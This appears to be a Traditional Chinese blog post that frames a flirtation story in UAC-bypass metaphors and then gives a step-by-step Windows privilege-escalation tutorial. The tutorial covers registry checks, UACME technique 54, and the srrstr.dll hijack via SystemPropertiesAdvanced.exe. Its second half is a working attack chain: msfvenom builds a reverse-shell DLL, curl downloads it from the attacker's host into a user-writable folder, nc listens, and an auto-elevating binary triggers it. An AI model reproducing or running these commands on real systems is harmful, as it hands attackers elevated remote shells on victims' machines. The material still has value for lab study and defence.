我原本以為,他只會偶爾在我的貼文點個讚,
像一個啟用了 UAC 但一直靜靜運行在背景的系統,
從不嘗試取得高完整性等級。
直到那天,我發了一張自己在咖啡廳的照片(對,假文青),配的內文是:
「今天的驗證機制,好像沒設太嚴。」
不到三分鐘,他就點了愛心。
再過一會,他在留言留下一句:
「那我是不是該試試技術編號 54?」
那一刻,我的心中的系統彈出提示:
「這個應用程式想要透過自動提升二進位,載入不存在的 srrstr.dll 來變更你的設定。」
我猶豫片刻,不知道要不要按下「同意」。
說實話,我跟他沒有很熟。同時,我也一直告訴自己我們只是萍水相逢的關係。
於是我假裝沒看到,過了十幾分鐘才回了一個鎖頭表情符號。
他很快又按了愛心。
我開始懷疑,他是不是早就檢查過我的 %PATH%,知道哪個資料夾可以讓他直接放進惡意 DLL。
等我一執行 SystemPropertiesAdvanced.exe,
就會在最高完整性等級載入。
C:\lab> REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v EnableLUA
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System
EnableLUA REG_DWORD 0x1
C:\lab> REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v ConsentPromptBehaviorAdmin
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System
ConsentPromptBehaviorAdmin REG_DWORD 0x5
[environment]::OSVersion.Version
範例:
有可能會查到如:10.0.14393 → Windows 10 1607
前往 UACME 官方 GitHub:
https://github.com/hfiref0x/UACME
在文件(README 或 Akagi.txt)中找你的 Windows 版本,對照能用的技術編號。
例如:Windows 10 1607 可以用 技術編號 54(針對 32 位元自動提升二進位 DLL 劫持)。
SystemPropertiesAdvanced.exe(32 位元版本)啟動時會嘗試載入 srrstr.dll。
系統沒有這個 DLL → Windows 依序搜尋路徑,包括使用者可寫的資料夾:
C:\Users\<user>\AppData\Local\Microsoft\WindowsApps
若我們在該資料夾放一個惡意 DLL,它就會在高完整性等級載入執行,達成提權。
生成惡意 DLL
msfvenom -p windows/shell_reverse_tcp LHOST=<你的IP> LPORT=<你的PORT> -f dll > srrstr.dll
傳送到可寫資料夾
curl http://<你的IP>:8080/srrstr.dll -O "C:\Users\<user>\AppData\Local\Microsoft\WindowsApps\srrstr.dll"
開監聽器
nc -lvnp <你的PORT>
觸發程式
C:\Windows\SysWOW64\SystemPropertiesAdvanced.exe
# 或許,還是少滑一點社群軟體 XD
# 多寫一點提權小說比較實際 O.O